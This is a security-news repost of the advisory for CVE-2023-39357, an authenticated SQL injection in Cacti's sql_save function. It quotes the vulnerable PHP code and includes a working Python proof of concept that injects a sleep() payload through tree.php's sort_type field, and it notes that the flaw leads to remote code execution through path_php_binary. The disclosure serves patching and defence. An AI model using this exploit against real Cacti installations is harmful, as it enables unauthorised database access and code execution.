Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-39357: SQL Injection when saving data with sql_save()

Cacti is an open source operational monitoring and fault management framework. A defect in the sql_save function was discovered. When the column type is numeric, the sql_save function directly utilizes user input. Many files and functions calling the sql_save function do not perform prior validation of user input, leading to the existence of multiple SQL injection vulnerabilities in Cacti. This allows authenticated users to exploit these SQL injection vulnerabilities to perform privilege escalation and remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.

CVE
#sql#csrf#vulnerability#php#rce#auth

Summary

During the review of this project, a defect in the sql_save function was discovered. When the column type is numeric, the sql_save function directly utilizes user input. Many files and functions calling the sql_save function do not perform prior validation of user input, leading to the existence of multiple SQL injection vulnerabilities in Cacti. This allows authenticated users to exploit these SQL injection vulnerabilities to perform privilege escalation and remote code execution.

Details

Cacti implements the sql_save function to save information to the database, and numerous endpoints utilize this function for information storage. The code for the sql_save function is provided below:

lib/database.php

function sql_save($array_items, $table_name, $key_cols = 'id’, $autoinc = true, $db_conn = false) { // … $cols = db_get_table_column_types($table_name, $db_conn);

foreach ($array\_items as $key => $value) {
    // ...
    if (strstr($cols\[$key\]\['type'\], 'int') !== false ||
        strstr($cols\[$key\]\['type'\], 'float') !== false ||
        strstr($cols\[$key\]\['type'\], 'double') !== false ||
        strstr($cols\[$key\]\['type'\], 'decimal') !== false) {
        if ($value == '') {
            if ($cols\[$key\]\['null'\] == 'YES') {
                // TODO: We should make 'NULL', but there are issues that need to be addressed first
                $array\_items\[$key\] = 0;
            } elseif (strpos($cols\[$key\]\['extra'\], 'auto\_increment') !== false) {
                $array\_items\[$key\] = 0;
            } elseif ($cols\[$key\]\['default'\] == '') {
                // TODO: We should make 'NULL', but there are issues that need to be addressed first
                $array\_items\[$key\] = 0;
            } else {
                $array\_items\[$key\] = $cols\[$key\]\['default'\];
            }
        } elseif (empty($value)) {
            $array\_items\[$key\] = 0;
        } else {
            $array\_items\[$key\] = $value;
        }
    } else {
        $array\_items\[$key\] = db\_qstr($value);
    }
}

$replace\_result = \_db\_replace($db\_conn, $table\_name, $array\_items, $key\_cols);

The db_get_table_column_types function retrieves column information for a table that is to be saved. SQL statements are constructed based on the column information obtained from this function. If the column is of a non-numeric type (not int, float, double, or decimal), it is handled appropriately by db_qstr. However, if it is numeric, the value is stored in $array_items[$key] without any validation. $array_items is an array holding the information to be stored, and it is later directly incorporated into the SQL statement by _db_replace.
In other words, utilizing the sql_save function without validation of user input leads to SQL injection vulnerabilities. In Cacti, many files and endpoints make use of the sql_save function without proper user input validation, consequently leading to multiple SQL injection vulnerabilities.

As an example of a vulnerability, examine the form_save function in the tree.php file. The sql_save function is utilized to save user input to the graph_tree table, but only the id and sequence parameters are subject to input validation. Upon inspecting the structure of the graph_tree table, it becomes apparent that the sort_type column is defined as a tinyint type. Since it contains an integer value, it is used directly in the SQL statement within the sql_save function, but notably, it is not validated in the form_save function.

tree.php

function form_save() { // … if (isset_request_var(‘save_component_tree’)) { /* ================= input validation ================= */ get_filter_request_var(‘id’); get_filter_request_var(‘sequence’); /* ==================================================== */

    // ...
    $save\['id'\]            = get\_request\_var('id');
    $save\['name'\]          = form\_input\_validate(get\_nfilter\_request\_var('name'), 'name', '', false, 3);
    $save\['sort\_type'\]     = form\_input\_validate(get\_nfilter\_request\_var('sort\_type'), 'sort\_type', '', true, 3);
    $save\['last\_modified'\] = date('Y-m-d H:i:s', time());
    $save\['enabled'\]       = get\_nfilter\_request\_var('enabled') == 'true' ? 'on':'-';
    $save\['modified\_by'\]   = $\_SESSION\['sess\_user\_id'\];

    // ...
    if (!is\_error\_message()) {
        $tree\_id = sql\_save($save, 'graph\_tree');

cacti.sql

CREATE TABLE graph_tree ( `id` smallint(5) unsigned NOT NULL auto_increment, `enabled` char(2) DEFAULT 'on’, `locked` tinyint(3) unsigned DEFAULT '0’, `locked_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00’, `sort_type` tinyint(3) unsigned NOT NULL default '1’, `name` varchar(255) NOT NULL default '’, `sequence` int(10) unsigned DEFAULT '1’, `user_id` int(10) unsigned DEFAULT '1’, `last_modified` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00’, `modified_by` int(10) unsigned DEFAULT '1’, PRIMARY KEY (`id`), KEY `sequence` (`sequence`), KEY `name` (`name`(171)) ) ENGINE=InnoDB ROW_FORMAT=Dynamic;

PoC

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.

import argparse import requests import sys import urllib3

#import os #os.environ[‘http_proxy’] = ‘http://localhost:8080’

sleep_time = 10 payload = f"""(select sleep({sleep_time}))“"”

def get_csrf_token(): url = f"{target}/index.php"

res\_body \= session.get(url).content.decode()
csrf\_token \= res\_body.split('var csrfMagicToken = "')\[1\].split('"')\[0\]
if not csrf\_token:
    print("\[-\] Unable to find csrf\_token")
    sys.exit()
return csrf\_token

def login(username,password): login_url = f"{target}/index.php"

csrf\_token \= get\_csrf\_token() 
data \= {'action':'login','login\_username':username,'login\_password':password,'\_\_csrf\_magic':csrf\_token}

res\_body \= session.post(login\_url,data\=data).content.decode()

if 'You are now logged into <' in res\_body:
    print('\[+\] Login successful!')
else:
    print('\[-\] Login failed. Check your credentials')
    sys.exit()

def exploit(): url = f"{target}/tree.php"

csrf\_token \= get\_csrf\_token()   
data \= {
    "\_\_csrf\_magic":csrf\_token,
    "name":"test",
    "sort\_type":payload,
    "id":"0",
    "sequence":"",
    "save\_component\_tree":"1",
    "action":"save"
}

print('\[+\] Sending payload...')
print(f"\[+\] Payload: {payload}")
session.post(url,data\=data)

if __name__==’__main__’: urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - tree.php ‘sort_type’ SQL Injection (authenticated)") parser.add_argument('-t’,’–target’,help=’’,required=True) parser.add_argument('-u’,’–username’,help=’’,required=True) parser.add_argument('-p’,’–password’,help=’’,required=True) args = parser.parse_args()

username \= args.username
password \= args.password
target \= args.target
session \= requests.Session()

login(username,password)
exploit()

Screenshots

Impact

This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system’s integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the ‘path_php_binary’ value in the database.

Related news

Debian Security Advisory 5550-1

Debian Linux Security Advisory 5550-1 - Multiple security vulnerabilities have been discovered in Cacti, a web interface for graphing of monitoring systems, which could result in cross-site scripting, SQL injection, an open redirect or command injection.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907